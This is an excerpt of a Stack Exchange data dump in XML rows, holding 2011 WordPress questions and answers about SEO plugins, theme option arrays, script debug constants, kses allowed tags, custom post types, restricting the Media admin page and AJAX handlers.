  <row Id="24286" PostTypeId="2" ParentId="18521" CreationDate="2011-07-28T07:20:26.957" Score="1" ViewCount="" Body="&lt;p&gt;We use this plugin - &lt;a href=&quot;http://wordpress.org/extend/plugins/simple-facebook-connect/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/simple-facebook-connect/&lt;/a&gt; to post to our facebook page at &lt;a href=&quot;http://www.facebook.com/TheCheckeredFlag&quot; rel=&quot;nofollow&quot;&gt;http://www.facebook.com/TheCheckeredFlag&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can set it up so it'll automatically post to a page or profile on facebook.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure if this is what you are looking as it seems you might want to import a whole blog, but hopefully this will be of some help.&lt;/p&gt;&#xA;" OwnerUserId="1859" LastActivityDate="2011-07-28T07:20:26.957" />
  <row Id="24287" PostTypeId="1" CreationDate="2011-07-28T07:53:47.213" Score="0" ViewCount="44" Body="&lt;p&gt;&lt;em&gt;I've deleted my previous question as it was migrated from Prowebmaster to WordPress section, and hence it was deep down somewhere.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm in a quandary about using SEO Plugin for my WordPress site. Here's the thing: I was a happy camper with the Yoast SEO Plugin but because I couldn't edit Meta Description in bulk, &lt;a href=&quot;http://webmasters.stackexchange.com/questions/17232/using-excerpts-as-meta-descriptions&quot;&gt;I reached out for help in this forum&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the nicest guy recommended me to use SEO Ultimate Plugin. To me, this plugin works very well. Plugin is excellent. Plus, more importantly, I can edit Meta Description without sweating bullets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, Yoast SEO Plugin is configured such that it strips category URLs, modifies archive pages with the /date extension and so on. Also it strips away a lot of unnecessary codes from the WordPress core structure -- the WP version, Rel Next, Prev links, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SEO Ultimate, on the other hand, will be used primarily to edit Meta Description. However, Yoast SEO Plugin, by default, shows up Title and Meta Description. So I have two MD and I can't switch off Yoast SEO Plugin -- no tick box to switch off the MD.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need your advice. What do I do? I want to kill Yoast SEO Plugin's MD but I don't know how. I want to keep using SEO Ultimate but -- damn! -- I can't do it because of this issue. Any help is highly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="7371" LastActivityDate="2011-07-28T07:53:47.213" Title="Help in using SEO Plugins: SEO Ultimate And Yoast SEO Plugin" Tags="&lt;plugins&gt;&lt;seo&gt;" />
  <row Id="24288" PostTypeId="1" CreationDate="2011-07-28T07:54:39.183" Score="1" ViewCount="21" Body="&lt;p&gt;I am learning to develop the options page for my wordpress theme. I have found some tutorial which explain how to add different input options in theme settings, for example a text input can be added as.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$options = array (&#xA;array(  &quot;name&quot; =&amp;gt; &quot;Message&quot;,&#xA;            &quot;desc&quot; =&amp;gt; &quot;Text to display as welcome message.&quot;,&#xA;            &quot;id&quot; =&amp;gt; $shortname.&quot;_welcome_message&quot;,&#xA;            &quot;type&quot; =&amp;gt; &quot;textarea&quot;),  &#xA;    )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I dont know how I can add the dropdown select box with some options to select. For example I have following select box, which I would like to add in array, Please tell me how can i do that thanks a lot.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;my_select&quot; id=&quot;my_select_id&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;random&quot; &amp;gt;Random Value&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;random2&quot; &amp;gt;Random Value 2&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't want the multi-select, only one value should be selected.&lt;/p&gt;&#xA;" OwnerUserId="7406" LastActivityDate="2011-07-28T07:54:39.183" Title="How to add select box in theme settings page" Tags="&lt;theme-options&gt;&lt;settings&gt;" CommentCount="1" />
  <row Id="24289" PostTypeId="1" AcceptedAnswerId="24291" CreationDate="2011-07-28T08:01:58.663" Score="0" ViewCount="26" Body="&lt;p&gt;I was wondering if there's some constant telling WordPress &lt;strong&gt;not&lt;/strong&gt; to use the minified versions of scripts but instead load .dev ones. Already tried &lt;code&gt;define('SCRIPT_DEBUG', true);&lt;/code&gt; but it only turned off script unification.&lt;/p&gt;&#xA;" OwnerUserId="4192" LastActivityDate="2011-07-28T08:13:06.733" Title="Force core to use .dev JavaScript files" Tags="&lt;javascript&gt;&lt;development&gt;" AnswerCount="1" />
  <row Id="24290" PostTypeId="1" CreationDate="2011-07-28T08:03:06.347" Score="1" ViewCount="25" Body="&lt;p&gt;In trying to post an article on one of the new SE blogs, I came across the following problem.  I'm listed as an &lt;em&gt;author&lt;/em&gt; which means that my abilities are somewhat restricted.  In particular, I'm not allowed to post &lt;em&gt;arbitrary&lt;/em&gt; HTML, rather my entries are sent through the kses parser first.  This seems a Good Thing in general (I don't want to be held responsible for the HTML!) but it interferes with one piece of the Markdown processor: quotes.  I can't write:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt; this is a quote&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;because the &lt;code&gt;&amp;gt;&lt;/code&gt; gets escaped by the kses routines.  Now, modifying the kses code to allow that through is tricky, and is the Wrong Solution (because it would make the &lt;code&gt;kses&lt;/code&gt; parser knit too tightly to the Markdown one; actually, the Right Solution would be to validate the data &lt;em&gt;after&lt;/em&gt; it had been processed, but never mind ...).  This isn't a big problem because, of course, I can just use the &lt;code&gt;&amp;lt;blockquote&amp;gt;...&amp;lt;/blockquote&amp;gt;&lt;/code&gt; tags directly.  Only that turns off the Markdown processor inside it.  Since we're using PHPMarkdownExtra (at least, tests seem to indicate that we are), I can use the &lt;code&gt;markdown=&quot;1&quot;&lt;/code&gt; fake attribute to turn on Markdown inside the blockquote.  But this gets taken out by kses as it's not on the list of approved attributes!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, adding &lt;code&gt;markdown&lt;/code&gt; to the list of approved attributes seems much easier than adding support for the &lt;code&gt;&amp;gt; quote&lt;/code&gt; syntax; in particular there is an array &lt;code&gt;$allowedposttags&lt;/code&gt; that holds this information so it would mean simply changing that array in an obvious way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, and this is the question, where is the right place to do that modification?  Clearly, modifying &lt;code&gt;kses.php&lt;/code&gt; is the Last Resort.  My &lt;em&gt;guess&lt;/em&gt; would be that the Right Place would be for the &lt;code&gt;markdown.php&lt;/code&gt; file to do this modification (since that's the file that knows that Markdown is going to be used).  But if I don't want to change anything that might be changed upstream, where should I put the required change?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(When I say &quot;I&quot; in the above, I don't actually mean &quot;me&quot; since I want this to be changed on the SE blogs; so please explain it in language that Rebecca Chernoff can understand!)&lt;/p&gt;&#xA;" OwnerUserId="7380" LastActivityDate="2011-07-28T15:06:54.247" Title="Where should I add the necessary code to add an extra attribute to the kses allowed tags array?" Tags="&lt;plugins&gt;&lt;configuration&gt;" AnswerCount="1" />
  <row Id="24291" PostTypeId="2" ParentId="24289" CreationDate="2011-07-28T08:13:06.733" Score="1" ViewCount="" Body="&lt;p&gt;I use a combination of constants on my local install.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('CONCATENATE_SCRIPTS', false);&#xA;define('COMPRESS_SCRIPTS', false); // &amp;lt;--- this is likely the one you're after&#xA;define('COMPRESS_CSS', false);&#xA;define('SCRIPT_DEBUG', true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'd imagine the second constant listed above is the one you're after.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-07-28T08:13:06.733" CommentCount="4" />
  <row Id="24292" PostTypeId="1" CreationDate="2011-07-28T08:59:18.000" Score="0" ViewCount="45" Body="&lt;p&gt;I'm creating a new website based on a theme using custom post type and WordPress 3.2.1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that my content was previously using %postname% permalinks and all my SEO is build on this. Using CPT add a slug like : &lt;a href=&quot;http://mysite.com/slug-cpt/postname&quot; rel=&quot;nofollow&quot;&gt;http://mysite.com/slug-cpt/postname&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried this rule in the register_post_type function but it doesn't work :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;'rewrite' =&gt; array('slug' =&gt; false, 'with_front' =&gt; false)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also read this but it's not good for me : &lt;a href=&quot;http://wordpress.stackexchange.com/questions/10804/permalinks-in-custom-post-types/10832#10832&quot;&gt;Permalinks in Custom Post types&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea ?&lt;/p&gt;&#xA;" OwnerUserId="7409" LastActivityDate="2011-07-28T08:59:18.000" Title="Remove custom post type slug" Tags="&lt;custom-post-types&gt;" />
  <row Id="24293" PostTypeId="1" AcceptedAnswerId="24295" CreationDate="2011-07-28T09:12:53.213" Score="1" ViewCount="99" Body="&lt;p&gt;I have the following code to do a foreach loop, I want to target the last item in the loop (e.g if it's looped over 3 events I want to target the 3rd event) to do something slightly different with the css. How would I do that?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                    &amp;lt;?php $pages = get_pages(array('child_of' =&amp;gt; $post-&amp;gt;ID, 'sort_column' =&amp;gt; 'menu_order'));&#xA;                        foreach($pages as $post)&#xA;                        {&#xA;                        setup_postdata($post);&#xA;                        $fields = get_fields();&#xA;                    ?&amp;gt;&#xA;                    &amp;lt;div class=&quot;event&quot;&amp;gt;&#xA;                        &amp;lt;img class=&quot;event-thumbimage&quot; src=&quot;&amp;lt;?php echo $fields-&amp;gt;thumb_image; ?&amp;gt;&quot; height=&quot;120&quot; width=&quot;140&quot; alt=&quot;&amp;lt;?php echo $fields-&amp;gt;event_title; ?&amp;gt;&quot; /&amp;gt;&#xA;                        &amp;lt;h2&amp;gt;&amp;lt;?php echo $fields-&amp;gt;event_title; ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;                        &amp;lt;p&amp;gt;&#xA;                            Location: &amp;lt;?php echo $fields-&amp;gt;location; ?&amp;gt;&amp;lt;br /&amp;gt;&#xA;                            Start: &amp;lt;?php echo $fields-&amp;gt;start_date; ?&amp;gt; at &amp;lt;?php echo $fields-&amp;gt;start_time; ?&amp;gt;&#xA;                            &amp;lt;?php $fields = get_acf(); if($fields-&amp;gt;end_date != &quot;&quot;) : ?&amp;gt;&#xA;                            , End: &amp;lt;?php echo $fields-&amp;gt;end_date; ?&amp;gt; at &amp;lt;?php echo $fields-&amp;gt;end_time; ?&amp;gt;&#xA;                            &amp;lt;?php else : ?&amp;gt;&#xA;                            &amp;lt;?php endif; ?&amp;gt;&#xA;                        &amp;lt;/p&amp;gt;                        &#xA;                        &amp;lt;p style=&quot;margin-bottom:0px!IMPORTANT;&quot;&amp;gt;&amp;lt;?php echo substr($fields-&amp;gt;description,0,170) . &quot;...&quot;; ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;                        &amp;lt;p&amp;gt;&amp;lt;a class=&quot;read-more&quot; href=&quot;&amp;lt;?php echo get_page_link($post-&amp;gt;ID); ?&amp;gt;&quot; title=&quot;Read more about: &amp;lt;?php echo $fields-&amp;gt;event_title; ?&amp;gt;&quot;&amp;gt;Read more...&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;?php } wp_reset_query(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4588" LastActivityDate="2011-07-28T10:01:43.780" Title="In a foreach loop, how do I target the last item in the loop?" Tags="&lt;loop&gt;&lt;foreach&gt;" AnswerCount="2" />
  <row Id="24294" PostTypeId="2" ParentId="24293" CreationDate="2011-07-28T09:27:18.163" Score="0" ViewCount="" Body="&lt;p&gt;Since &lt;code&gt;$pages&lt;/code&gt; is an array, get its count by &lt;code&gt;$pages_count = count( $pages );&lt;/code&gt; and then inside loop, keep a counter which is incremented at every iteration of the loop and compare if it equals the count &lt;code&gt;if ( $pages_count == $counter++ )&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="1521" LastActivityDate="2011-07-28T09:27:18.163" CommentCount="1" />
  <row Id="24295" PostTypeId="2" ParentId="24293" CreationDate="2011-07-28T09:41:45.983" Score="3" ViewCount="" Body="&lt;p&gt;You can try this :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach( $pages as $key =&amp;gt; $post )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class = &quot;event &amp;lt;?php if( $key == ( count( $pages ) - 1 ) ) echo 'last'; ?&amp;gt;&quot; &amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It will add a &lt;code&gt;last&lt;/code&gt; class to your last &lt;code&gt;event&lt;/code&gt; div.&lt;/p&gt;&#xA;" OwnerUserId="1381" LastEditorUserId="1381" LastEditorDisplayName="" LastEditDate="2011-07-28T10:01:43.780" LastActivityDate="2011-07-28T10:01:43.780" CommentCount="6" />
  <row Id="24296" PostTypeId="1" CreationDate="2011-07-28T10:44:52.277" Score="-1" ViewCount="24" Body="&lt;p&gt;Was looking at the below post which does something similar to what I am trying to do...it clears out the post_name (slug) and recreates based on post_title.&#xA;(for a specific post type)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/3351/create-slugs-programmatically&quot;&gt;Create slugs programmatically&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FROM POST_CONTENT (what I'm trying to do)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to create post_name from post_content for a specific post type, in a similar fashion, however, cannot use the post title.  The post content fields in this case actually contain the correct number of words for a post title, so as long as they are sanitized, they would make good slugs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hoping somebody can help with a code sample similar to the above...&lt;/p&gt;&#xA;" OwnerUserId="7411" LastActivityDate="2011-08-13T11:35:50.837" Title="Create Slugs Programmatically from Post Content for Specific Post Type" Tags="&lt;posts&gt;&lt;content&gt;&lt;slug&gt;&lt;title&gt;&lt;type&gt;" AnswerCount="1" />
  <row Id="24297" PostTypeId="1" AcceptedAnswerId="24300" CreationDate="2011-07-28T10:59:52.747" Score="0" ViewCount="38" Body="&lt;p&gt;I have a CPT called &quot;profile&quot; that only supports the editor and thumbnail. Each user is limited to posting just 1 profile.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking for a way to prefill the title and slug fields with the display name of the post author. As it is now, if I click on Publish, the post_status in the db is &quot;Auto Draft&quot; and the URL becomes &quot;localhost/mytestsite/profile/auto-draft-1&quot;. It seems WP &lt;strong&gt;needs&lt;/strong&gt; a title or else it won't be considered &quot;Published&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've checked several questions already posted here and this one seems like the one I need. &lt;a href=&quot;http://wordpress.stackexchange.com/questions/19854/custom-post-type-with-custom-title&quot;&gt;Custom Post Type with Custom Title&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But since I want the author's name and not values in a taxonomy or custom field, I don't know how to modify the code to reflect that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see that get_the_author() needs to be in The Loop.&lt;/p&gt;&#xA;" OwnerUserId="7408" LastActivityDate="2011-07-28T11:47:03.633" Title="Setting a title on a Custom Post Type that doesn't support titles" Tags="&lt;custom-post-types&gt;&lt;slug&gt;&lt;title&gt;&lt;post-status&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="24298" PostTypeId="1" AcceptedAnswerId="24313" CreationDate="2011-07-28T11:12:18.233" Score="-1" ViewCount="68" Body="&lt;p&gt;I need to create a very simple contact form in the homepage with just 3 fields.Is there a way for showing the contact form without a plugin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I dont want to create a page with a contact form template for that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thk.&lt;/p&gt;&#xA;" OwnerUserId="1484" LastActivityDate="2011-07-28T13:40:23.170" Title="show a little contact form in homepage without plugin" Tags="&lt;email&gt;&lt;contact&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="24300" PostTypeId="2" ParentId="24297" CreationDate="2011-07-28T11:47:03.633" Score="0" ViewCount="" Body="&lt;p&gt;You could add a hidden input into the page to pre-set the title field, because it won't be on the page(because the type doesn't support titles).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Slug is produced from the title, so you should only need add a title value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like this should work(though untested)..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'submitpost_box', 'hidden_type_title' );&#xA;&#xA;function hidden_type_title() {&#xA;    global $current_user, $post, $post_type;&#xA;&#xA;    // If the current type supports the title, nothing to done, return&#xA;    if( post_type_supports( $post_type, 'title' ) )&#xA;        return;&#xA;&#xA;    ?&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;post_title&quot;value=&quot;&amp;lt;?php echo esc_attr( htmlspecialchars( get_the_author_meta( 'display_name', $current_user-&amp;gt;data-&amp;gt;ID ) ) ); ?&amp;gt;&quot; id=&quot;title&quot; /&amp;gt;&#xA;    &amp;lt;?php&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Though i'd perhaps suggest adding further to the code and checking if the author display name is not empty, etc... it should be enough to work with..(or get you started at least).. :)&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-07-28T11:47:03.633" CommentCount="2" />
  <row Id="24301" PostTypeId="1" AcceptedAnswerId="24303" CreationDate="2011-07-28T11:54:43.870" Score="0" ViewCount="56" Body="&lt;p&gt;I would like to remove the entire &quot;Media&quot; section from the main WordPress admin navigation ont he left hand side. What I don't want to do is just &quot;hide&quot; it with CSS or a plugin/function like I have done so below, because it's still accessible via the URL. This is crucial users shouldn't see each others uploads by any means. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I currently have, which just hides it. If you went to upload.php in the url, you could still access it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'admin_menu', 'remove_menu_links' );&#xA;function remove_menu_links() {&#xA;    remove_menu_page('upload.php'); //remove media&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas? A suitable method I believe would be to just direct the user to the dashboard with an error message if they tried to access the upload.php url? Not sure how to do this though.&lt;/p&gt;&#xA;" OwnerUserId="4999" LastActivityDate="2011-07-28T18:17:36.060" Title="How do I remove the entire Media section from the main WordPress navigation without just hiding it?" Tags="&lt;media-library&gt;&lt;admin-menu&gt;" AnswerCount="2" FavoriteCount="2" />
  <row Id="24302" PostTypeId="2" ParentId="24301" CreationDate="2011-07-28T11:59:40.190" Score="0" ViewCount="" Body="&lt;p&gt;Why not you try &lt;a href=&quot;http://wordpress.org/extend/plugins/role-scoper/&quot; rel=&quot;nofollow&quot;&gt;Role scoper plugin&lt;/a&gt;?&lt;/p&gt;&#xA;" OwnerUserId="5074" LastActivityDate="2011-07-28T11:59:40.190" CommunityOwnedDate="2011-07-28T12:00:00.797" CommentCount="1" />
  <row Id="24303" PostTypeId="2" ParentId="24301" CreationDate="2011-07-28T12:01:13.480" Score="3" ViewCount="" Body="&lt;p&gt;You are indeed correct, before the admin update(i imagine the UI redesign, etc), unsetting items from the menus would in effect prevent access to those pages, that's clearly changed now and requires additional cap checking. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This isn't something i've looked into myself(as i've just found out this moment), so i can't speak about methods for doing so.. but it does bother me they've now turned a simple unsetting task into a bigger one that requires conditionalised capability checking(it's just more leg work that was not previously required).&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Moving on from the revelation:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Ok, seeing as the &lt;code&gt;remove_menu_page&lt;/code&gt; and submenu equivalents are pretty much pointless now(i mean seriously, what good is making a page simply hidden from view) what i'd suggest is looping over the media submenu items and updating the required caps on the fly(if that's what you need to do).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This appears to have the desired outcome... :)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'admin_menu', 'remove_menu_links' );&#xA;function remove_menu_links() {&#xA;    global $submenu;&#xA;    remove_menu_page('upload.php');&#xA;    foreach( $submenu['upload.php'] as $position =&amp;gt; $data ) {&#xA;        $submenu['upload.php'][$position][1] = 'desired cap here';&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; If you want the items completely gone / inaccessible, simply use a non-existant cap(or just leave the code as it is above)..&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Updated version of the above code:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Following on your last comment, perhaps it might be smart to do it like this... or something along these lines..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'admin_menu', 'remove_menu_links' );&#xA;function remove_menu_links() {&#xA;    global $submenu;&#xA;&#xA;    // Remove media for non-admins&#xA;    if( !current_user_can('manage_options') )&#xA;        remove_menu_page('upload.php');&#xA;&#xA;    // Still need to update cap requirements even when hidden&#xA;    foreach( $submenu['upload.php'] as $position =&amp;gt; $data ) {&#xA;        $submenu['upload.php'][$position][1] = 'manage_options';&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I realise now you do actually still need the &lt;code&gt;current_user_can&lt;/code&gt; call, just to deal with conditionalising the removal of the parent item..&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="2962" LastEditorDisplayName="" LastEditDate="2011-07-28T18:17:36.060" LastActivityDate="2011-07-28T18:17:36.060" CommentCount="11" />
  <row Id="24304" PostTypeId="1" CreationDate="2011-07-28T12:44:16.497" Score="-1" ViewCount="108" Body="&lt;p&gt;I have looked at the previous post here regarding a similar issue but what resolved them issues doesn't want to work for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, I have a custom post type for football players for my home team, the slug for this post type is players and my permalink structure is /%category%/%postname%/&#xA;Now when I create a new player, and go to view the post, I get a 404, so I go to permalinks and click save. The custom post type of the player now works but with a strange issue, my pages now come back with a 404, post seem to work fine and aren't effected?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I am using a plugin called Easy Custom Content Types by Pippin, but this error also happend for me when using the Custom Post Type UI. I have tried different themes, deleting the .htaccess and nothing seems to work. The strange thing is that if I change the permalink structure back to default there is no issue, but I don't want that, I want to be able to use the permalink structure I'm currently using minus the errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So can anyone help to resolve this annoying error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="7389" LastActivityDate="2011-08-03T15:38:13.727" Title="Custom Post Types cause 404 for pages?" Tags="&lt;404-error&gt;" AnswerCount="3" CommentCount="1" />
  <row Id="24305" PostTypeId="1" AcceptedAnswerId="24307" CreationDate="2011-07-28T12:51:35.647" Score="0" ViewCount="31" Body="&lt;p&gt;I have to develop a site in Wordpress similar to an already existing site in JSP which handles approx.&lt;code&gt;50K users a day and 200 users&lt;/code&gt; at a time. And in load testing i get that wordpress can handle only &lt;code&gt;40 users&lt;/code&gt; at a time (with &lt;code&gt;Super Cache&lt;/code&gt; plugin &lt;code&gt;ON&lt;/code&gt;).&#xA;Also I have hosted my site on a &lt;code&gt;Shared hosted server&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So please suggest me some way or guide me to &lt;code&gt;optimize&lt;/code&gt; my wordpress site so that it can also handle the same traffic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="7341" LastActivityDate="2011-07-28T13:06:03.120" Title="High traffic management in WP" Tags="&lt;performance&gt;&lt;optimization&gt;&lt;server-load&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" />
  <row Id="24306" PostTypeId="2" ParentId="24290" CreationDate="2011-07-28T13:01:46.240" Score="1" ViewCount="" Body="&lt;p&gt;In detail there's the constant &lt;code&gt;CUSTOM_TAGS&lt;/code&gt; that allowes defining &lt;code&gt;$allowedposttags, $allowedtags, $allowedentitynames&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you can simply set &lt;code&gt;CUSTOM_TAGS&lt;/code&gt; to true and define the globals in a function hooked before kses gets included.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;The first available hook to fire an action that defines &lt;code&gt;$allowedposttags&lt;/code&gt; would be &lt;code&gt;muplugins_loaded&lt;/code&gt;, but I don't know if kses is loaded before or after it.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Set custom tags to override $allowedposttags, $allowedtags, $allowedentitynames&#xA;if ( ! defined( 'CUSTOM_TAGS' ) )&#xA;    define( 'CUSTOM_TAGS', true );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You also got the &lt;code&gt;wp_kses_hook()&lt;/code&gt; that contains a self explanatory filter:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;apply_filters('pre_kses', $string, $allowed_html, $allowed_protocols);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-07-28T15:06:54.247" LastActivityDate="2011-07-28T15:06:54.247" CommentCount="7" />
  <row Id="24307" PostTypeId="2" ParentId="24305" CreationDate="2011-07-28T13:06:03.120" Score="2" ViewCount="" Body="&lt;p&gt;Reduce the amount of plugins. Check your theme for memory intense stuff or lots of queries. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add this line to your footer or hook it to the &lt;code&gt;shutdown&lt;/code&gt; hook to see some basic information:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- Time needed to print this page: &amp;lt;?php timer_stop( 0, 3 ); ?&amp;gt; Number of queries needed to process this request: &amp;lt;?php get_num_queries(); ?&amp;gt; --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then take a look at your site through source code and at the bottom you'll find the html comment containing this basic data. Then start disabling single plugins to see the difference and their impact on performance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore I'd say the max user restriction is not by wp, but by your shared hosting account.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-07-28T13:06:03.120" CommentCount="6" />
  <row Id="24308" PostTypeId="2" ParentId="24235" CreationDate="2011-07-28T13:11:50.277" Score="0" ViewCount="" Body="&lt;p&gt;Start from a working code base..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('in_admin_header', 'my_ajax_button');&#xA;&#xA;function my_ajax_button() {&#xA;    echo '&amp;lt;a href=&quot;#ajaxthing&quot; class=&quot;myajax&quot;&amp;gt;Test&amp;lt;/a&amp;gt;';&#xA;}&#xA;&#xA;add_action('admin_head', 'my_action_javascript');&#xA;&#xA;function my_action_javascript() {&#xA;?&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot; &amp;gt;&#xA;jQuery(document).ready(function($) {&#xA;&#xA;    $('.myajax').click(function(){&#xA;        var data = {&#xA;            action: 'my_action',&#xA;            whatever: 1234&#xA;        };&#xA;&#xA;        // since 2.8 ajaxurl is always defined in the admin header and points to admin-ajax.php&#xA;        $.post(ajaxurl, data, function(response) {&#xA;            alert('Got this from the server: ' + response);&#xA;        });&#xA;    });&#xA;&#xA;&#xA;});&#xA;&amp;lt;/script&amp;gt;&#xA;&amp;lt;?php&#xA;}&#xA;&#xA;add_action('wp_ajax_my_action', 'my_action_callback');&#xA;&#xA;function my_action_callback() {&#xA;     global $wpdb; // this is how you get access to the database&#xA;&#xA;     $whatever = $_POST['whatever'];&#xA;&#xA;     $whatever += 10;&#xA;&#xA;             echo $whatever;&#xA;&#xA;     die(); // this is required to return a proper result&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That's the code(with a minor adjustment) from the codex page, and that's perfectly fine for me, so i'd suggest using that as a starting point.. if that's what you initially did, at what point did it break or stop working?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; Mark is me, i use a secondary account when accessing the site from another PC(that isn't mine).&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-08-12T18:12:18.800" LastActivityDate="2011-08-12T18:12:18.800" CommentCount="5" />
